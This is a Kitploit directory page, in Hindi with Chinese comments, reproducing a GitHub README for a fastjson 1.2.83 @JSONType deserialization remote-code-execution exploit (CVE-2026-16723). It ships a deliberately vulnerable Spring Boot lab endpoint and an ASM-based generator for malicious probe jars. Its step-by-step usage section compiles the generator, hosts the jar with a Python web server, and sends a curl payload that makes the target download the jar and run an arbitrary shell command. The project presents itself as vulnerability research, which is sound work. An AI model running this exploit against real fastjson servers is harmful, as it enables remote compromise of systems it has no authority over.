Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-16723 — fastjson 1.2.83 @JSONType RCE को एक कमजोर Spring Boot टारगेट और HTTP या फ़ाइल प्रोटोकॉल jar chains का उपयोग करने वाले ASM-आधारित पेलोड जनरेटर के साथ पुन: प्रस्तुत करता है। | Kitploit
उपकरण/GitHubGitHub/superman-l/cve-2026-16723
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubsuperman-l/cve-2026-16723

CVE-2026-16723

fastjson 1.2.83 @JSONType RCE को एक कमजोर Spring Boot टारगेट और HTTP या फ़ाइल प्रोटोकॉल jar chains का उपयोग करने वाले ASM-आधारित पेलोड जनरेटर के साथ पुन: प्रस्तुत करता है।

रिपॉजिटरी देखें
1161 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

🚨 CVE-2026-16723 — fastjson 1.2.83 @JSONType संसाधन जांच श्रृंखला RCE

Java fastjson Type Environment Status

fastjson 1.2.66 ~ 1.2.83 में @JSONType एनोटेशन + अवैध क्लास नाम + jar: प्रोटोकॉल के तहत रिमोट क्लास लोडिंग / कमांड निष्पादन का पुनरुत्पादन प्रोजेक्ट।

⚠️ अस्वीकरण

यह प्रोजेक्ट केवल सुरक्षा अनुसंधान, भेद्यता पुनरुत्पादन और अधिकृत परीक्षण के लिए है। किसी भी अनधिकृत सिस्टम, अवैध हमले या दुर्भावनापूर्ण उपयोग के लिए सख्त वर्जित है। उपयोगकर्ता अपने कार्यों की पूरी जिम्मेदारी वहन करेगा, लेखक किसी भी दुरुपयोग के लिए कानूनी जिम्मेदारी नहीं लेता है।


भेद्यता विश्लेषण लेख संदर्भ: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w


📖 प्रोजेक्ट परिचय

यह प्रोजेक्ट CVE-2026-16723 के इर्द-गिर्द एक संपूर्ण fastjson 1.2.83 भेद्यता पुनरुत्पादन वातावरण तैयार करता है:

  • demo/ —— भेद्यता युक्त Spring Boot 2.7.18 वेब एप्लिकेशन (fastjson 1.2.83 पर निर्भर), जो POST /parse इंटरफ़ेस को बाहरी रूप से उजागर करता है और सीधे JSON.parse(json) कॉल करता है;
  • exp/ —— ASM-आधारित दुर्भावनापूर्ण प्रोब jar जनरेटर (HTTP प्रोटोकॉल / FILE प्रोटोकॉल दो रूप);
  • 环境/ —— पहले से संकलित तीन मिडलवेयर FatJar (Tomcat / Jetty / Undertow), तुरंत उपयोग के लिए तैयार।

उपयोग की मुख्य अवधारणा: @type को jar URL बनाकर विशेष JSON का निर्माण करना, जिससे fastjson @JSONType एनोटेशन ट्रस्ट शाखा → getResourceAsStream से रिमोट/लोकल jar डाउनलोड → defineClass से दुर्भावनापूर्ण क्लास लोड → क्लास इनिशियलाइज़ेशन पर <clinit> ट्रिगर → किसी भी कमांड का निष्पादन (RCE)।


🎯 भेद्यता सारांश

प्रोजेक्टविवरण
CVECVE-2026-16723
घटकAlibaba fastjson
प्रभावित संस्करण1.2.66 ~ 1.2.83 (1.x का अंतिम संस्करण भी प्रभावित)
भेद्यता प्रकारडिसीरियलाइज़ेशन रिमोट कोड निष्पादन (RCE)
ट्रिगर प्रवेशJSON.parse(json) / JSON.parseObject(json) (विशिष्ट प्रकार निर्दिष्ट किए बिना)
पूर्व शर्तलक्ष्य Spring Boot FatJar, JDK 8, safeMode बंद है

उपयोग की शर्तें

  1. लक्ष्य कोड: JSON.parse(json) या JSON.parseObject(json) का उपयोग करके अविश्वसनीय इनपुट को सीधे पार्स करता है, और fastjson संस्करण 1.2.66 ~ 1.2.83 में है, safeMode सक्षम नहीं है;
  2. लक्ष्य रनटाइम रूप: Spring Boot FatJar (java -jar से शुरू, LaunchedURLClassLoader, केवल Spring Boot ≤ 2.7 में jar: प्रोटोकॉल Handler फ़ॉलबैक क्षमता बनी रहती है);
  3. लक्ष्य JVM: JDK 8 (JDK 9+ में defineClass ClassFormatError फेंक देगा, अधिक से अधिक केवल SSRF संभव);
  4. नेटवर्क पहुंच: लक्ष्य अटैकर मशीन के HTTP पोर्ट तक पहुंच सकता है (HTTP प्रोटोकॉल श्रृंखला) या स्थानीय jar फ़ाइल पढ़ सकता है (FILE प्रोटोकॉल श्रृंखला)।

🧩 भेद्यता सिद्धांत

fastjson का checkAutoType जब @JSONType एनोटेशन वाली क्लास का सामना करता है तो ट्रस्ट शाखा में प्रवेश करता है, अधिकांश ब्लैकलिस्ट जाँचों को छोड़ देता है और लोडिंग की अनुमति देता है। यह प्रोजेक्ट इसका उपयोग करता है, ASM से सीधे बाइटकोड लिखकर, एक [अवैध आंतरिक क्लास नाम] को क्लास कॉन्स्टेंट पूल के this_class में लिखता है, ताकि तीनों नाम पूरी तरह से संरेखित हों:

@type        jar:http:..2130706433:19090.x!.y        (点形态,无斜杠)
resource     jar:http://2130706433:19090/x!/y.class   (点 -> 斜杠)
this_class   jar:http://2130706433:19090/x!/y         (字节码内部类名)

दुर्भावनापूर्ण क्लास संरचना:

  1. @JSONType एनोटेशन —— fastjson checkAutoType ट्रस्ट शाखा खोलने की कुंजी;
  2. डिफ़ॉल्ट कंस्ट्रक्टर <init>()V —— सुनिश्चित करता है कि fastjson सामान्य रूप से इंस्टेंटिएट कर सके;
  3. <clinit> स्टैटिक इनिशियलाइज़ेशन ब्लॉक —— क्लास लोड इनिशियलाइज़ेशन पर ही Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) निष्पादित करता है, जिससे कमांड निष्पादन होता है।

अवैध क्लास नाम javac से नहीं लिखा जा सकता, केवल ASM ही URL को सीधे कॉन्स्टेंट पूल में लिख सकता है —— यही कारण है कि इस प्रोजेक्ट का जनरेटर asm-9.6.jar पर निर्भर है।


📁 प्रोजेक्ट संरचना

CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt                     # 快速利用速查(http / file 协议两条命令)
├── demo/                        # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│   └── src/main/java/com/example/demo/
│       ├── DemoApplication.java
│       └── controller/VulController.java     # POST /parse -> JSON.parse(json)
├── exp/                         # 恶意探针 jar 生成器
│   ├── GenProbeHttp.java        # HTTP 协议链(jar:http)
│   ├── GenProbefile.java        # FILE 协议链(jar:file)
│   └── asm-9.6.jar              # ASM 字节码操作库
└── 环境/                        # 预编译靶场 FatJar(开箱即用)
    ├── demo-0.0.1-SNAPSHOT.jar            # Tomcat 中间件
    ├── demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty 中间件
    ├── demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow 中间件
    └── asm-9.6.jar

लैब इंटरफ़ेस

demo/src/main/java/com/example/demo/controller/VulController.java:

@PostMapping("/parse")
public String parse(@RequestBody String json) {
    ParserConfig.getGlobalInstance().setAsmEnable(false);
    ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
    JSON.parse(json);   // 未指定类型,直接解析不可信输入
    return "Parsed!";
}

🚀 त्वरित प्रारंभ

1. भेद्यता लैब प्रारंभ करें

लैब को JDK 8 वातावरण में चलना चाहिए (उपयोग की शर्तों के अनुरूप)।

# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar            # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow

# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run

प्रारंभ के बाद इंटरफ़ेस पता: http://127.0.0.1:8080/parse


💥 भेद्यता का उपयोग

विधि 1: HTTP प्रोटोकॉल श्रृंखला (jar:http, अनुशंसित)

① जनरेटर संकलित करें

cd exp
javac -cp asm-9.6.jar GenProbeHttp.java

② दुर्भावनापूर्ण प्रोब jar उत्पन्न करें

java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
  • 19090 —— दुर्भावनापूर्ण jar का HTTP होस्टिंग पोर्ट
  • open -a Calculator —— लक्ष्य मशीन पर निष्पादित होने वाला कमांड (macOS कैलकुलेटर खोलता है; Linux पर id > /tmp/pwned 2>&1 उपयोग करें, फ़ाइल के अस्तित्व की जाँच करें)

डिफ़ॉल्ट रूप से फ़ाइल x (बिना एक्सटेंशन) उत्पन्न होती है, जिसमें y.class होता है, payload है:

{"@type":"jar:http:..2130706433:19090.x!.y","x":1}

③ दुर्भावनापूर्ण jar होस्ट करें (HTTP सेवा)

python3 -m http.server 19090

सुनिश्चित करें कि python3 -m http.server उसी निर्देशिका में शुरू हो जहाँ x फ़ाइल उत्पन्न हुई है।

④ लक्ष्य पर payload भेजें

curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'

⑤ सत्यापन

कमांड निष्पादन का परिणाम HTTP प्रतिक्रिया में नहीं दिखेगा, लक्ष्य मशीन पर पुष्टि करनी होगी:

# Linux 目标
cat /tmp/pwned            # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)

विधि 2: FILE प्रोटोकॉल श्रृंखला (jar:file)

उपयोग परिदृश्य: लक्ष्य अटैकर मशीन के HTTP पोर्ट तक नहीं पहुंच सकता (इंट्रानेट अलगाव / बाहरी नेटवर्क प्रतिबंधित), लेकिन jar फ़ाइल को लक्ष्य मशीन के फ़ाइल सिस्टम पर रखा जा सकता है।

① जनरेटर संकलित करें

cd exp
javac -cp asm-9.6.jar GenProbefile.java

② लक्ष्य के संबंधित निर्देशिका में प्रोब jar उत्पन्न करें

java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'

जनरेटर वर्तमान निर्देशिका के आधार पर jar:file: URL की गणना करेगा (निर्देशिका विभाजक / को . से बदल दिया जाएगा), उदाहरण के लिए /tmp/project/exp में उत्पन्न करने पर payload होगा:

{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}

③ उत्पन्न jar को लक्ष्य मशीन की संबंधित निर्देशिका में रखें

टूल डाउनलोड करें